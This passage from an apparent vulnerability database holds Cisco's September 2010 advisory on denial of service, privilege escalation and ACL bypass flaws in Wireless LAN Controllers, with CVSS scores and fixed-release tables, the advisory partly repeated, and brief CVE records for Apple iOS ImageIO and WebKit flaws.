scoring in this Security Advisory is done in accordance with CVSS
version 2.0.
CVSS is a standards-based scoring method that conveys vulnerability
severity and helps determine urgency and priority of response.
Cisco has provided a base and temporal score. Customers can then
compute environmental scores to assist in determining the impact of
the vulnerability in individual networks.
Cisco has provided an FAQ to answer additional questions regarding
CVSS at:
http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html
Cisco has also provided a CVSS calculator to help compute the
environmental impact for individual networks at:
http://intellishield.cisco.com/security/alertmanager/cvss
CSCta56653 - WLC may reload when receiving crafted IKE packets
CVSS Base Score - 7.8
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 6.4
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtd16938 - WLC crash after passing invalid arguments to emweb
CVSS Base Score - 6.8
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 5.6
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtc91431, CSCsz66726, and CSCtc93837- Privilege Escalation vulnerabilities
CVSS Base Score - 9.0
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - Complete
Integrity Impact - Complete
Availability Impact - Complete
CVSS Temporal Score - 7.8
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCta66931, CSCtf36051 - CPU ACL bypass vulnerabilities
CVSS Base Score - 5.0
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - Partial
Integrity Impact - None
Availability Impact - None
CVSS Temporal Score - 4.1
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
Impact
======
Successful exploitation of the DoS vulnerabilities could cause an
affected device to reload. Repeated exploitation could result in a
sustained DoS condition.
Successful exploitation of the ACL bypass vulnerabilities could allow
an attacker to bypass policies that should be enforced by CPU-based
ACLs.
Software Versions and Fixes
===========================
When considering software upgrades, also consult:
http://www.cisco.com/go/psirt
and any subsequent advisories to determine exposure and a complete
upgrade solution.
In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.
If a given release train is vulnerable, then the earliest possible
releases that contain the fix (along with the anticipated date of
availability for each, if applicable) are listed in the "First Fixed
Release" column of the table. A device running a release in the given
train that is earlier than the release in a specific column (less
than the First Fixed Release) is known to be vulnerable.
+-------------------------------------------------------------------+
| Vulnerability/Bug ID | Affected | First Fixed |
| | Release | Version |
|----------------------------------------+----------+---------------|
| | 3.2 | 3.2.215.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.205.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| IKE DoS Vulnerability (CSCta56653) |----------+---------------|
| | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| HTTP DoS Vulnerability (CSCtd16938) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.196.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| Privilege Escalation Vulnerabilities | 4.2M | 4.2.207.54M |
| (CSCtc91431, CSCsz66726, and |----------+---------------|
| CSCtc93837) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.207.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| ACL Bypass Vulnerabilities (CSCta66931 | | Vulnerable; |
| and CSCtf36051) | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 6.0 | 6.0.199.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
+-------------------------------------------------------------------+
Recommended Releases
~~~~~~~~~~~~~~~~~~~~
The "Recommended Release" table lists the releases which have fixes
for all the published vulnerabilities at the time of this Advisory.
Cisco recommends upgrading to a release equal to or later than the
release in the "Recommended Releases" table.
+-------------------------------------------------------------------+
| Affected Release | Recommended Release |
|----------------------+--------------------------------------------|
| 3.2 | 3.2.215.0 |
|----------------------+--------------------------------------------|
| 4.1 | Vulnerable; Migrate to 4.2 |
|----------------------+--------------------------------------------|
| 4.1M | Vulnerable; Migrate to 4.2M |
|----------------------+--------------------------------------------|
| 4.2 | 4.2.209.0 |
|----------------------+--------------------------------------------|
| 4.2M | 4.2.207.54M |
|----------------------+--------------------------------------------|
| 5.0 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.1 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.2 | Non FIPS Customers migrate to 6.0 |
|----------------------+--------------------------------------------|
| 6.0 | 6.0.199.4 |
|----------------------+--------------------------------------------|
| 7.0 | Not Vulnerable |
+-------------------------------------------------------------------+
Note: Cisco WLC Software version 5.2.193.11 is a FIPS certified
image. Customers not running FIPS images are recommended to migrate
to Cisco WLC software 6.0.199.4 or later.
Customers running 4.1M with a mixture of LAP1505/LAP1510 and LAP1522/
LAP1524 units will need to refer to the Mesh and Mainstream Releases
on the Controller section of the document Cisco Wireless Mesh Access
Points, Design and Deployment Guide, Release 7.0.
Workarounds
===========
There are no available workarounds to mitigate any of these
vulnerabilities.
Additional mitigations that can be deployed on Cisco devices in the
network are available in the Cisco Applied Mitigation Bulletin
companion document for this advisory, which is available at the
following link:
http://www.cisco.com/warp/public/707/cisco-amb-20100908-wlc.shtml
Obtaining Fixed Software
========================
Cisco has released free software updates that address these
vulnerabilities. Prior to deploying software, customers should
consult their maintenance provider or check the software for feature
set compatibility and known issues specific to their environment.
Customers may only install and expect support for the feature sets
they have purchased. By installing, downloading, accessing or
otherwise using such software upgrades, customers agree to be bound
by the terms of Cisco's software license terms found at:
http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html
or as otherwise set forth at Cisco.com Downloads at:
http://www.cisco.com/public/sw-center/sw-usingswc.shtml
Do not contact psirt@cisco.com or security-alert@cisco.com for
software upgrades.
Customers with Service Contracts
+-------------------------------
Customers with contracts should obtain upgraded software through
their regular update channels. For most customers, this means that
upgrades should be obtained through the Software Center on Cisco's
worldwide website at http://www.cisco.com.
Customers without Service Contracts
+----------------------------------
Customers who purchase direct from Cisco but do not hold a Cisco
service contract, and customers who purchase through third-party
vendors but are unsuccessful in obtaining fixed software through
their point of sale should acquire upgrades by contacting the Cisco
Technical Assistance Center (TAC). TAC contacts are as follows.
* +1 800 553 2447 (toll free from within North America)
* +1 408 526 7209 (toll call from anywhere in the world)
* e-mail: tac@cisco.com
Customers should have their product serial number available and be
prepared to give the URL of this notice as evidence of entitlement to
a free upgrade. Free upgrades for non-contract customers must be
requested through the TAC.
Refer to:
http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html
for additional TAC contact information, including localized telephone
numbers, and instructions and e-mail addresses for use in various
languages.
Exploitation and Public Announcements
=====================================
The Cisco PSIRT is not aware of any public announcements or malicious
use of the vulnerabilities described in this advisory.
These vulnerabilities were found during internal testing and during
the troubleshooting of customer service requests.
Status of this Notice: FINAL
============================
THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS
DOCUMENT AT ANY TIME.
A stand-alone copy or Paraphrase of the text of this document that
omits the distribution URL in the following section is an
uncontrolled copy, and may lack important information or contain
factual errors.
Distribution
============
This advisory is posted on Cisco's worldwide website at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
In addition to worldwide web posting, a text version of this notice
is clear-signed with the Cisco PSIRT PGP key and is posted to the
following e-mail and Usenet news recipients.
* cust-security-announce@cisco.com
* first-bulletins@lists.first.org
* bugtraq@securityfocus.com
* vulnwatch@vulnwatch.org
* cisco@spot.colorado.edu
* cisco-nsp@puck.nether.net
* full-disclosure@lists.grok.org.uk
* comp.dcom.sys.cisco@newsgate.cisco.com
Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on
mailing lists or newsgroups. Users concerned about this problem are
encouraged to check the above URL for any updates.
Revision History
================
+-----------------------------------------+
| Revision | | Initial |
| 1.0 | 2010-September-08 | public |
| | | release. |
+-----------------------------------------+
Cisco Security Procedures
=========================
Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and
registering to receive security information from Cisco, is available
on Cisco's worldwide website at:
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
This includes instructions for press inquiries regarding Cisco
security notices. All Cisco security advisories are available at:
http://www.cisco.com/go/psirt
-----BEGIN PGP SIGNATURE-----
iD8DBQFMh6MB86n/Gc8U/uARAkAoAJ49gL4UWcPviOVj7qBoEjTA0tLQ4QCfTlem
QI2QHDaZGejlgOifWafhaW8=
=518m
-----END PGP SIGNATURE-----
| VAR-201009-0061 | CVE-2010-2842 | Cisco WLC Vulnerable to access restrictions |
CVSS V2: 9.0 CVSS V3: - Severity: HIGH |
Cisco Wireless LAN Controller (WLC) software, possibly 4.2 through 6.0, allows remote authenticated users to bypass intended access restrictions and modify the configuration, and possibly obtain administrative privileges, via unspecified vectors, a different vulnerability than CVE-2010-2843 and CVE-2010-3033. This issue is tracked by Cisco Bug ID CSCtc91431. This may lead to a full compromise of the affected device or aid in further attacks.
Wireless LAN Controller firmware 4.2 and later are affected. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Cisco Security Advisory: Multiple Vulnerabilities in Cisco Wireless
LAN Controllers
Advisory ID: cisco-sa-20100908-wlc
Revision 1.0
For Public Release 2010 September 08 1600 UTC (GMT)
+---------------------------------------------------------------------
Summary
=======
The Cisco Wireless LAN Controller (WLC) product family is affected by
these vulnerabilities:
* Two denial of service (DoS) vulnerabilities
* Three privilege escalation vulnerabilities
* Two access control list (ACL) bypass vulnerabilities
Note: These vulnerabilities are independent of one another.
Cisco has released free software updates that address these
vulnerabilities.
There are no workarounds to mitigate these vulnerabilities.
This advisory is posted at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
Affected Products
=================
Vulnerable Products
+------------------
These products are each affected by at least one vulnerability
covered in this Security Advisory:
* Cisco 2000 Series WLCs
* Cisco 2100 Series WLCs
* Cisco 4100 Series WLCs
* Cisco 4400 Series WLCs
* Cisco 5500 Series WLCs
* Cisco Wireless Services Modules (WiSMs)
* Cisco WLC Modules for Integrated Services Routers (ISRs)
* Cisco Catalyst 3750G Integrated WLCs
DoS Vulnerabilities
~~~~~~~~~~~~~~~~~~~
The Cisco WLC product family is affected by two DoS vulnerabilities:
* Internet Key Exchange (IKE) DoS Vulnerability
* HTTP DoS Vulnerability
The IKE DoS vulnerability affects Cisco WLC software versions 3.2 and
later. The HTTP DoS vulnerability affects Cisco WLC software versions
4.2 and later.
Privilege Escalation Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The privilege escalation vulnerabilities affect Cisco WLC software
versions 4.2 and later.
CPU ACL Bypass Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
One of the two ACL bypass vulnerabilities affects Cisco WLC software
versions 4.1 and later. The second ACL bypass vulnerability affects
Cisco WLC software versions 6.0.x.
Determination of Software Versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Administrators can use these instructions to determine the software
version that is running on the Cisco WLCs (using the web or
command-line interface) or on the Cisco WiSM (using commands on the
Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router).
Cisco Wireless Controllers
~~~~~~~~~~~~~~~~~~~~~~~~~~
To determine the WLC version that is running in a given environment,
use one of these methods:
* In the web interface, choose the "Monitor" tab, click "Summary" in
the left pane, and note the "Software" Version field.
Note: Customers who use a Cisco WLC Module in an ISR will need to
issue the "service-module wlan-controller <slot/port> session" command
prior to performing the next step on the command line. Customers who
use a Cisco Catalyst 3750G Switch with an integrated WLC Module will
need to issue the "session <Stack-Member-Number> processor 1 session"
command prior to performing the next step on the command line.
* From the command-line interface, type "show sysinfo" and note the
"Product Version" field, as shown in this example:
(Cisco Controller)> show sysinfo
Manufacturer's Name.. Cisco Systems Inc.
Product Name......... Cisco Controller
Product Version...... 5.1.151.0
RTOS Version......... Linux-2.6.10_mvl401
Bootloader Version... 4.0.207.0
Build Type........... DATA + WPS
<output suppressed>
Cisco WiSMs
~~~~~~~~~~~
Use the "show wism module <module number> controller 1 status" command
on a Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router
if they are using a WiSM. Note the software version as demonstrated
in this example, which shows version 5.1.151.0:
Router# show wism module 3 controller 1 status
WiSM Controller 1 in Slot 3
Operational Status of the Controller
: Oper-Up
Service VLAN
: 192
Service Port
: 10
Service Port Mac Address
: 0011.92ff.8742
Service IP Address
: 192.168.10.1
Management IP Address
: 192.168.1.123
Software Version
: 5.1.151.0
Port Channel Number
: 288
Allowed vlan list
: 30,40
Native VLAN ID
: 40
WCP Keep Alive Missed
: 0
Products Confirmed Not Vulnerable
+--------------------------------
No other Cisco products are currently known to be affected by these
vulnerabilities.
Details
=======
Cisco WLCs and Cisco WiSMs are responsible for system-wide wireless
LAN functions, such as security policies, intrusion prevention, RF
management, quality of service (QoS), and mobility. The following are the details
about these vulnerabilities.
IKE Denial of Service Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An attacker with the ability to send a malicious IKE packet to an
affected Cisco WLC could cause the device to crash and reload. This
vulnerability can be exploited from both wired and wireless segments.
Note: IKE is enabled by default in the WLC and cannot be disabled.
Only traffic destined to the Cisco WLC could trigger this
vulnerability. Transient traffic will not trigger this vulnerability.
HTTP Denial of Service Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An authenticated attacker with the ability to send a series of
malicious HTTP packets to an affected Cisco WLC could cause the
device to reload. This vulnerability can be exploited from both wired
and wireless segments. A TCP three-way handshake is needed in order
to exploit this vulnerability.
Note: Only traffic destined to the Cisco WLC could trigger this
vulnerability. Transient traffic will not trigger this vulnerability.
WebAuth or guest access is not affected by this vulnerability. After ACLs are defined, they can be applied to
the management interface, the access point manager (AP-manager)
interface, or any of the dynamic interfaces for client data traffic
or to the Network Processing Unit (NPU) interface for traffic to the
controller CPU. Two vulnerabilities exist in the Cisco WLCs that
could allow an unauthenticated attacker to bypass policies that
should be enforced by CPU-based ACLs. No other ACL types are affected
by these vulnerabilities.
Note: CPU-based ACLs are configured and applied by navigating to
Security > Access Control Lists > CPU Access Control Lists in the
Cisco WLC web management interface. When CPU-based ACLs are enabled,
they are applicable to both wireless and wired traffic.
Vulnerability Scoring Details
=============================
Cisco has provided scores for the vulnerabilities in this advisory
based on the Common Vulnerability Scoring System (CVSS). The CVSS
scoring in this Security Advisory is done in accordance with CVSS
version 2.0.
CVSS is a standards-based scoring method that conveys vulnerability
severity and helps determine urgency and priority of response.
Cisco has provided a base and temporal score. Customers can then
compute environmental scores to assist in determining the impact of
the vulnerability in individual networks.
Cisco has provided an FAQ to answer additional questions regarding
CVSS at:
http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html
Cisco has also provided a CVSS calculator to help compute the
environmental impact for individual networks at:
http://intellishield.cisco.com/security/alertmanager/cvss
CSCta56653 - WLC may reload when receiving crafted IKE packets
CVSS Base Score - 7.8
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 6.4
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtd16938 - WLC crash after passing invalid arguments to emweb
CVSS Base Score - 6.8
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 5.6
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtc91431, CSCsz66726, and CSCtc93837- Privilege Escalation vulnerabilities
CVSS Base Score - 9.0
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - Complete
Integrity Impact - Complete
Availability Impact - Complete
CVSS Temporal Score - 7.8
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCta66931, CSCtf36051 - CPU ACL bypass vulnerabilities
CVSS Base Score - 5.0
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - Partial
Integrity Impact - None
Availability Impact - None
CVSS Temporal Score - 4.1
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
Impact
======
Successful exploitation of the DoS vulnerabilities could cause an
affected device to reload. Repeated exploitation could result in a
sustained DoS condition.
Successful exploitation of the ACL bypass vulnerabilities could allow
an attacker to bypass policies that should be enforced by CPU-based
ACLs.
Software Versions and Fixes
===========================
When considering software upgrades, also consult:
http://www.cisco.com/go/psirt
and any subsequent advisories to determine exposure and a complete
upgrade solution.
In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.
If a given release train is vulnerable, then the earliest possible
releases that contain the fix (along with the anticipated date of
availability for each, if applicable) are listed in the "First Fixed
Release" column of the table. A device running a release in the given
train that is earlier than the release in a specific column (less
than the First Fixed Release) is known to be vulnerable.
+-------------------------------------------------------------------+
| Vulnerability/Bug ID | Affected | First Fixed |
| | Release | Version |
|----------------------------------------+----------+---------------|
| | 3.2 | 3.2.215.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.205.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| IKE DoS Vulnerability (CSCta56653) |----------+---------------|
| | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| HTTP DoS Vulnerability (CSCtd16938) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.196.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| Privilege Escalation Vulnerabilities | 4.2M | 4.2.207.54M |
| (CSCtc91431, CSCsz66726, and |----------+---------------|
| CSCtc93837) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.207.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| ACL Bypass Vulnerabilities (CSCta66931 | | Vulnerable; |
| and CSCtf36051) | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 6.0 | 6.0.199.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
+-------------------------------------------------------------------+
Recommended Releases
~~~~~~~~~~~~~~~~~~~~
The "Recommended Release" table lists the releases which have fixes
for all the published vulnerabilities at the time of this Advisory.
Cisco recommends upgrading to a release equal to or later than the
release in the "Recommended Releases" table.
+-------------------------------------------------------------------+
| Affected Release | Recommended Release |
|----------------------+--------------------------------------------|
| 3.2 | 3.2.215.0 |
|----------------------+--------------------------------------------|
| 4.1 | Vulnerable; Migrate to 4.2 |
|----------------------+--------------------------------------------|
| 4.1M | Vulnerable; Migrate to 4.2M |
|----------------------+--------------------------------------------|
| 4.2 | 4.2.209.0 |
|----------------------+--------------------------------------------|
| 4.2M | 4.2.207.54M |
|----------------------+--------------------------------------------|
| 5.0 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.1 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.2 | Non FIPS Customers migrate to 6.0 |
|----------------------+--------------------------------------------|
| 6.0 | 6.0.199.4 |
|----------------------+--------------------------------------------|
| 7.0 | Not Vulnerable |
+-------------------------------------------------------------------+
Note: Cisco WLC Software version 5.2.193.11 is a FIPS certified
image. Customers not running FIPS images are recommended to migrate
to Cisco WLC software 6.0.199.4 or later.
Customers running 4.1M with a mixture of LAP1505/LAP1510 and LAP1522/
LAP1524 units will need to refer to the Mesh and Mainstream Releases
on the Controller section of the document Cisco Wireless Mesh Access
Points, Design and Deployment Guide, Release 7.0.
Workarounds
===========
There are no available workarounds to mitigate any of these
vulnerabilities.
Additional mitigations that can be deployed on Cisco devices in the
network are available in the Cisco Applied Mitigation Bulletin
companion document for this advisory, which is available at the
following link:
http://www.cisco.com/warp/public/707/cisco-amb-20100908-wlc.shtml
Obtaining Fixed Software
========================
Cisco has released free software updates that address these
vulnerabilities. Prior to deploying software, customers should
consult their maintenance provider or check the software for feature
set compatibility and known issues specific to their environment.
Customers may only install and expect support for the feature sets
they have purchased. By installing, downloading, accessing or
otherwise using such software upgrades, customers agree to be bound
by the terms of Cisco's software license terms found at:
http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html
or as otherwise set forth at Cisco.com Downloads at:
http://www.cisco.com/public/sw-center/sw-usingswc.shtml
Do not contact psirt@cisco.com or security-alert@cisco.com for
software upgrades.
Customers with Service Contracts
+-------------------------------
Customers with contracts should obtain upgraded software through
their regular update channels. For most customers, this means that
upgrades should be obtained through the Software Center on Cisco's
worldwide website at http://www.cisco.com.
Customers without Service Contracts
+----------------------------------
Customers who purchase direct from Cisco but do not hold a Cisco
service contract, and customers who purchase through third-party
vendors but are unsuccessful in obtaining fixed software through
their point of sale should acquire upgrades by contacting the Cisco
Technical Assistance Center (TAC). TAC contacts are as follows.
* +1 800 553 2447 (toll free from within North America)
* +1 408 526 7209 (toll call from anywhere in the world)
* e-mail: tac@cisco.com
Customers should have their product serial number available and be
prepared to give the URL of this notice as evidence of entitlement to
a free upgrade. Free upgrades for non-contract customers must be
requested through the TAC.
Refer to:
http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html
for additional TAC contact information, including localized telephone
numbers, and instructions and e-mail addresses for use in various
languages.
Exploitation and Public Announcements
=====================================
The Cisco PSIRT is not aware of any public announcements or malicious
use of the vulnerabilities described in this advisory.
These vulnerabilities were found during internal testing and during
the troubleshooting of customer service requests.
Status of this Notice: FINAL
============================
THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS
DOCUMENT AT ANY TIME.
A stand-alone copy or Paraphrase of the text of this document that
omits the distribution URL in the following section is an
uncontrolled copy, and may lack important information or contain
factual errors.
Distribution
============
This advisory is posted on Cisco's worldwide website at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
In addition to worldwide web posting, a text version of this notice
is clear-signed with the Cisco PSIRT PGP key and is posted to the
following e-mail and Usenet news recipients.
* cust-security-announce@cisco.com
* first-bulletins@lists.first.org
* bugtraq@securityfocus.com
* vulnwatch@vulnwatch.org
* cisco@spot.colorado.edu
* cisco-nsp@puck.nether.net
* full-disclosure@lists.grok.org.uk
* comp.dcom.sys.cisco@newsgate.cisco.com
Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on
mailing lists or newsgroups. Users concerned about this problem are
encouraged to check the above URL for any updates.
Revision History
================
+-----------------------------------------+
| Revision | | Initial |
| 1.0 | 2010-September-08 | public |
| | | release. |
+-----------------------------------------+
Cisco Security Procedures
=========================
Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and
registering to receive security information from Cisco, is available
on Cisco's worldwide website at:
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
This includes instructions for press inquiries regarding Cisco
security notices. All Cisco security advisories are available at:
http://www.cisco.com/go/psirt
-----BEGIN PGP SIGNATURE-----
iD8DBQFMh6MB86n/Gc8U/uARAkAoAJ49gL4UWcPviOVj7qBoEjTA0tLQ4QCfTlem
QI2QHDaZGejlgOifWafhaW8=
=518m
-----END PGP SIGNATURE-----
| VAR-201009-0257 | CVE-2010-1817 | iPhone and iPod touch Run on Apple iOS of ImageIO Vulnerable to buffer overflow |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
Buffer overflow in ImageIO in Apple iOS before 4.1 on the iPhone and iPod touch allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted GIF file. Apple iOS for iPhone and iPod touch is prone to a buffer-overflow vulnerability that affects the 'ImageIO' component.
Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected application, or to crash the affected application.
This issue affects iOS 2.0 through 4.0.2 for iPhone 3G and later and iOS 2.1 through 4.0.2 for iPod touch (2nd generation) and later.
NOTE: This issue was previously discussed in BID 43070 (Apple iPhone/iPod touch Prior to iOS 4.1 Multiple Vulnerabilities) but has been given its own record to better document it. ImageIO provides ImageReader and ImageWriter plugins for the Graphics Interchange Format (GIF) image format
| VAR-201009-0254 | CVE-2010-1813 | iPhone and iPod touch Run on Apple iOS of WebKit Vulnerable to arbitrary code execution |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
WebKit in Apple iOS before 4.1 on the iPhone and iPod touch allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via vectors involving HTML object outlines. Webkit is prone to a memory-corruption vulnerability.
An attacker can exploit this issue by tricking an unsuspecting victim into viewing a web page containing malicious content. Successfully exploiting these issues may allow attackers to crash the affected application or execute arbitrary code.
This issue affects the following:
iOS 2.0 through 4.0.2 for iPhone 3G and later
iOS 2.1 through 4.0.2 for iPod touch (2nd generation) and later
